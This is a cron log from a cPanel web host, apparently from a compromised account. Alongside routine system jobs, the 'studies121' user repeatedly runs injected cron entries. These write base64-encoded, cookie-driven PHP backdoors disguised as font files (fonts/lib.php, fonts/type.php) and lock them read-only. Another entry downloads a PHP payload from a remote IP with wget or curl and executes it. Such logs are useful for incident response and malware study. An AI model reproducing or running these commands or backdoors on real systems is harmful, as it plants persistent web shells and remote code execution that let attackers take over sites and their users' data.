Sep  5 09:10:01 ip-184-168-122-23 CROND[15028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15030]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:10:01 ip-184-168-122-23 CROND[15033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:10:01 ip-184-168-122-23 CROND[15034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:11:01 ip-184-168-122-23 CROND[15119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:11:01 ip-184-168-122-23 CROND[15118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:11:01 ip-184-168-122-23 CROND[15120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:11:01 ip-184-168-122-23 CROND[15121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:12:01 ip-184-168-122-23 CROND[15213]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:12:01 ip-184-168-122-23 CROND[15215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:12:01 ip-184-168-122-23 CROND[15216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:12:01 ip-184-168-122-23 CROND[15218]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:12:01 ip-184-168-122-23 CROND[15217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:13:01 ip-184-168-122-23 CROND[15296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:13:01 ip-184-168-122-23 CROND[15297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:13:01 ip-184-168-122-23 CROND[15298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:13:01 ip-184-168-122-23 CROND[15299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:14:01 ip-184-168-122-23 CROND[15378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:14:01 ip-184-168-122-23 CROND[15379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:14:01 ip-184-168-122-23 CROND[15380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:14:01 ip-184-168-122-23 CROND[15381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:14:01 ip-184-168-122-23 CROND[15382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:15:01 ip-184-168-122-23 CROND[15556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:15:01 ip-184-168-122-23 CROND[15558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:15:01 ip-184-168-122-23 CROND[15559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:15:01 ip-184-168-122-23 CROND[15561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:15:01 ip-184-168-122-23 CROND[15557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:15:01 ip-184-168-122-23 CROND[15562]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:16:01 ip-184-168-122-23 CROND[15651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:16:01 ip-184-168-122-23 CROND[15652]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:16:01 ip-184-168-122-23 CROND[15656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:16:01 ip-184-168-122-23 CROND[15654]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:16:01 ip-184-168-122-23 CROND[15653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:16:01 ip-184-168-122-23 CROND[15655]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:17:01 ip-184-168-122-23 CROND[15747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:17:01 ip-184-168-122-23 CROND[15748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:17:01 ip-184-168-122-23 CROND[15749]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:17:01 ip-184-168-122-23 CROND[15750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:18:01 ip-184-168-122-23 CROND[15829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:18:01 ip-184-168-122-23 CROND[15830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:18:01 ip-184-168-122-23 CROND[15831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:18:01 ip-184-168-122-23 CROND[15832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:18:01 ip-184-168-122-23 CROND[15833]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:19:01 ip-184-168-122-23 CROND[15911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:19:01 ip-184-168-122-23 CROND[15913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:19:01 ip-184-168-122-23 CROND[15914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:19:01 ip-184-168-122-23 CROND[15915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:20:01 ip-184-168-122-23 CROND[15995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:20:01 ip-184-168-122-23 CROND[16007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 09:20:01 ip-184-168-122-23 CROND[16009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16014]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:20:01 ip-184-168-122-23 CROND[16015]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:21:01 ip-184-168-122-23 CROND[16099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:21:01 ip-184-168-122-23 CROND[16102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 09:21:01 ip-184-168-122-23 CROND[16101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 09:21:01 ip-184-168-122-23 CROND[16103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:22:01 ip-184-168-122-23 CROND[16320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
